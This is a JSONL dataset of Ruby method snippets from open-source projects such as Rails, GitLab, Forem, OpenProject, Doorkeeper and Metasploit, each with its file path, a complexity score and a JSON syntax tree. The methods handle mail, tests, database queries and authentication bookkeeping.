{"repo_name":"rails","file_path":"./repos/rails/actionmailbox/lib/action_mailbox/relayer.rb","start_line":18,"raw_source":"def transient_failure?\n        status_code.start_with?(\"4.\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"transient_failure?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status_code\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"4.\"]}]}]}","id":"4a0b1557-f481-41ea-8456-2492d6d794b0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/test_env.rb","start_line":317,"raw_source":"def workhorse_tree_file\n    File.join(workhorse_dir, 'WORKHORSE_TREE')\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"workhorse_tree_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"workhorse_dir\"]},{\"type\":\"str\",\"children\":[\"WORKHORSE_TREE\"]}]}]}","id":"6976855f-02c4-43be-a43a-7c1c2177db62"}
{"repo_name":"forem","file_path":"./repos/forem/app/mailers/digest_mailer.rb","start_line":4,"raw_source":"def digest_email\n    @user = params[:user]\n    @articles = params[:articles]\n    @billboards = params[:billboards]\n    @unsubscribe = generate_unsubscribe_token(@user.id, :email_digest_periodic)\n    @user_follows_any_subforems = user_follows_any_subforems?\n\n    subject = generate_title\n\n    # set sendgrid category in the header using smtp api\n    # https://docs.sendgrid.com/for-developers/sending-email/building-an-x-smtpapi-header\n    if ForemInstance.sendgrid_enabled?\n      smtpapi_header = { category: \"Digest Email\" }.to_json\n      headers[\"X-SMTPAPI\"] = smtpapi_header\n    end\n\n    mail(to: @user.email, subject: subject)\n  end","complexity_score":25.8,"ast_json":"{\"type\":\"def\",\"children\":[\"digest_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@articles\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"articles\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@billboards\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"billboards\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@unsubscribe\",{\"type\":\"send\",\"children\":[null,\"generate_unsubscribe_token\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]},{\"type\":\"sym\",\"children\":[\"email_digest_periodic\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@user_follows_any_subforems\",{\"type\":\"send\",\"children\":[null,\"user_follows_any_subforems?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"subject\",{\"type\":\"send\",\"children\":[null,\"generate_title\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ForemInstance\"]},\"sendgrid_enabled?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"smtpapi_header\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"str\",\"children\":[\"Digest Email\"]}]}]},\"to_json\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"X-SMTPAPI\"]},{\"type\":\"lvar\",\"children\":[\"smtpapi_header\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"mail\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"lvar\",\"children\":[\"subject\"]}]}]}]}]}]}","id":"3d5d16e8-8710-414f-8ff2-2113c5150917"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":724,"raw_source":"def test_show_jobs_that_are_enqueued_when_job_is_not_queued_at_all\n      ricardo = Person.new(9)\n      wilma = Person.new(11)\n\n      error = assert_raise ActiveSupport::TestCase::Assertion do\n        assert_enqueued_with(job: MultipleKwargsJob, args: [wilma]) do\n          HelloJob.perform_later(ricardo)\n        end\n      end\n\n      assert_match(\"No enqueued job found with #{{ job: MultipleKwargsJob, args: [wilma] }}\", error.message)\n      assert_match(/No jobs of class MultipleKwargsJob were enqueued, job classes enqueued: HelloJob/, error.message)\n    end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_show_jobs_that_are_enqueued_when_job_is_not_queued_at_all\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ricardo\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"new\",{\"type\":\"int\",\"children\":[9]}]}]},{\"type\":\"lvasgn\",\"children\":[\"wilma\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Person\"]},\"new\",{\"type\":\"int\",\"children\":[11]}]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TestCase\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_enqueued_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"const\",\"children\":[null,\"MultipleKwargsJob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wilma\"]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"perform_later\",{\"type\":\"lvar\",\"children\":[\"ricardo\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"No enqueued job found with \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"const\",\"children\":[null,\"MultipleKwargsJob\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wilma\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"No jobs of class MultipleKwargsJob were enqueued, job classes enqueued: HelloJob\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"e0861ced-b587-4222-b2f9-18677fe8e757"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rpc/v10/rpc_db.rb","start_line":394,"raw_source":"def rpc_hosts(xopts)\n  ::ApplicationRecord.connection_pool.with_connection {\n    opts, wspace = init_db_opts_workspace(xopts)\n\n    conditions = {}\n    conditions[:state] = [Msf::HostState::Alive, Msf::HostState::Unknown] if opts[:only_up]\n    conditions[:address] = opts[:addresses] if opts[:addresses]\n\n    limit = opts.delete(:limit) || 100\n    offset = opts.delete(:offset) || 0\n\n    ret = {}\n    ret[:hosts] = []\n    wspace.hosts.where(conditions).offset(offset).order(:address).limit(limit).each do |h|\n      host = {}\n      host[:created_at] = h.created_at.to_i\n      host[:address] = h.address.to_s\n      host[:mac] = h.mac.to_s\n      host[:name] = h.name.to_s\n      host[:state] = h.state.to_s\n      host[:os_name] = h.os_name.to_s\n      host[:os_flavor] = h.os_flavor.to_s\n      host[:os_sp] = h.os_sp.to_s\n      host[:os_lang] = h.os_lang.to_s\n      host[:updated_at] = h.updated_at.to_i\n      host[:purpose] = h.purpose.to_s\n      host[:info] = h.info.to_s\n      ret[:hosts]  << host\n    end\n    ret\n  }\n  end","complexity_score":96.63,"ast_json":"{\"type\":\"def\",\"children\":[\"rpc_hosts\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"xopts\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ApplicationRecord\"]},\"connection_pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\"]},{\"type\":\"lvasgn\",\"children\":[\"wspace\"]}]},{\"type\":\"send\",\"children\":[null,\"init_db_opts_workspace\",{\"type\":\"lvar\",\"children\":[\"xopts\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"conditions\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"only_up\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conditions\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"HostState\"]},\"Alive\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"HostState\"]},\"Unknown\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"addresses\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conditions\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"addresses\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"limit\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"limit\"]}]},{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"lvasgn\",\"children\":[\"offset\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"offset\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"hosts\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wspace\"]},\"hosts\"]},\"where\",{\"type\":\"lvar\",\"children\":[\"conditions\"]}]},\"offset\",{\"type\":\"lvar\",\"children\":[\"offset\"]}]},\"order\",{\"type\":\"sym\",\"children\":[\"address\"]}]},\"limit\",{\"type\":\"lvar\",\"children\":[\"limit\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"created_at\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"address\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"mac\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"mac\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"name\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"state\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"os_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"os_name\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"os_flavor\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"os_flavor\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"os_sp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"os_sp\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"os_lang\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"os_lang\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"updated_at\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"purpose\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"purpose\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"info\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"hosts\"]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"host\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"ret\"]}]}]}]}","id":"c8c6695f-1d0c-48bb-adcf-1fd4fbdd3118"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/projects/design_management/designs/resized_image_controller_spec.rb","start_line":91,"raw_source":"def etag(action)\n        ActionDispatch::TestResponse.new.send(:generate_weak_etag, [action.cache_key])\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"etag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"TestResponse\"]},\"new\"]},\"send\",{\"type\":\"sym\",\"children\":[\"generate_weak_etag\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"cache_key\"]}]}]}]}","id":"f72079db-6090-4112-bf36-b70f760cd30e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/artifacts/logger.rb","start_line":17,"raw_source":"def log_artifacts_context(job)\n          ::Gitlab::ApplicationContext.push(\n            namespace: job&.project&.namespace,\n            project: job&.project,\n            job: job\n          )\n        end","complexity_score":4.9,"ast_json":"{\"type\":\"def\",\"children\":[\"log_artifacts_context\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"ApplicationContext\"]},\"push\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"project\"]},\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"lvar\",\"children\":[\"job\"]}]}]}]}]}","id":"5bc530c6-5e47-40e4-bc62-269ab11e89e3"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/app/models/two_factor_authentication/backup_code.rb","start_line":6,"raw_source":"def regenerate!(user)\n        backup_codes = []\n\n        transaction do\n          where(user_id: user.id).delete_all\n          10.times do\n            code = new(user:)\n            code.save!\n            backup_codes << code.plain_value\n          end\n        end\n\n        backup_codes\n      end","complexity_score":17.15,"ast_json":"{\"type\":\"def\",\"children\":[\"regenerate!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"backup_codes\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]},\"delete_all\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[10]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"code\",{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"save!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"backup_codes\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"plain_value\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"backup_codes\"]}]}]}","id":"1bc618a6-3577-4e92-a830-a694d789cece"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/github/oauth_client.rb","start_line":63,"raw_source":"def request\n      Honeycomb.add_field(\"name\", \"github.client\")\n      yield\n    rescue Octokit::Error, Octokit::InvalidRepository => e\n      record_error(e)\n      handle_error(e)\n    end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Honeycomb\"]},\"add_field\",{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"github.client\"]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Octokit\"]},\"Error\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Octokit\"]},\"InvalidRepository\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record_error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[null,\"handle_error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}","id":"8ec075a0-b9b7-4d24-83ee-ce916a0a9ae5"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/incoming_emails/handlers/work_package.rb","start_line":133,"raw_source":"def update_work_package(work_package)\n      attributes = collect_wp_attributes_from_email_on_update(work_package)\n      attributes[:attachment_ids] = work_package.attachment_ids + add_attachments(work_package).map(&:id)\n\n      WorkPackages::UpdateService\n        .new(user: user,\n             model: work_package,\n             contract_class: work_package_update_contract_class)\n        .call(**attributes.symbolize_keys)\n    end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_work_package\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"send\",\"children\":[null,\"collect_wp_attributes_from_email_on_update\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"attachment_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"attachment_ids\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_attachments\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackages\"]},\"UpdateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"work_package\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"contract_class\"]},{\"type\":\"send\",\"children\":[null,\"work_package_update_contract_class\"]}]}]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"symbolize_keys\"]}]}]}]}]}]}","id":"0c5806b3-3bbb-480d-b9c7-e7c826c35ebd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespace_setting.rb","start_line":183,"raw_source":"def step_up_auth_required_oauth_provider_inherited_namespace_setting\n    # Use traversal_ids for efficient ancestor lookup\n    # traversal_ids is an array like [root_id, parent_id, ..., current_id]\n    # We need to exclude self (current_id is the last element)\n    ancestor_ids = namespace.traversal_ids[0..-2] # All except the last element (self)\n\n    return if ancestor_ids.empty?\n\n    # Single optimized query using traversal_ids\n    # Order by position in traversal_ids array (root first, so most distant ancestor has precedence)\n    @step_up_auth_inherited_setting ||= self.class\n      .joins(:namespace)\n      .where(namespace_id: ancestor_ids)\n      .where.not(step_up_auth_required_oauth_provider: nil)\n      .order(Arel.sql(\"array_position(ARRAY[#{ancestor_ids.join(',')}]::bigint[], namespace_settings.namespace_id)\"))\n      .includes(:namespace)\n      .first\n  end","complexity_score":24.6,"ast_json":"{\"type\":\"def\",\"children\":[\"step_up_auth_required_oauth_provider_inherited_namespace_setting\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ancestor_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\"]},\"traversal_ids\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-2]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor_ids\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@step_up_auth_inherited_setting\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"namespace\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"lvar\",\"children\":[\"ancestor_ids\"]}]}]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"step_up_auth_required_oauth_provider\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"order\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"array_position(ARRAY[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ancestor_ids\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\"]::bigint[], namespace_settings.namespace_id)\"]}]}]}]},\"includes\",{\"type\":\"sym\",\"children\":[\"namespace\"]}]},\"first\"]}]}]}]}","id":"879b86db-a158-44e6-9698-b8d19c52246e"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/oauth/scopes.rb","start_line":55,"raw_source":"def scopes?(scopes)\n        scopes.all? { |scope| exists?(scope) }\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"scopes?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scopes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scopes\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"send\",\"children\":[null,\"exists?\",{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}]}","id":"aba27282-ffcd-40f7-9b4e-2dce05d1f575"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/project_path_helper.rb","start_line":42,"raw_source":"def method_name(node)\n        node.children[1]\n      end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"method_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"1dc7bbe6-54c9-401b-b088-f7ffd0d839f8"}
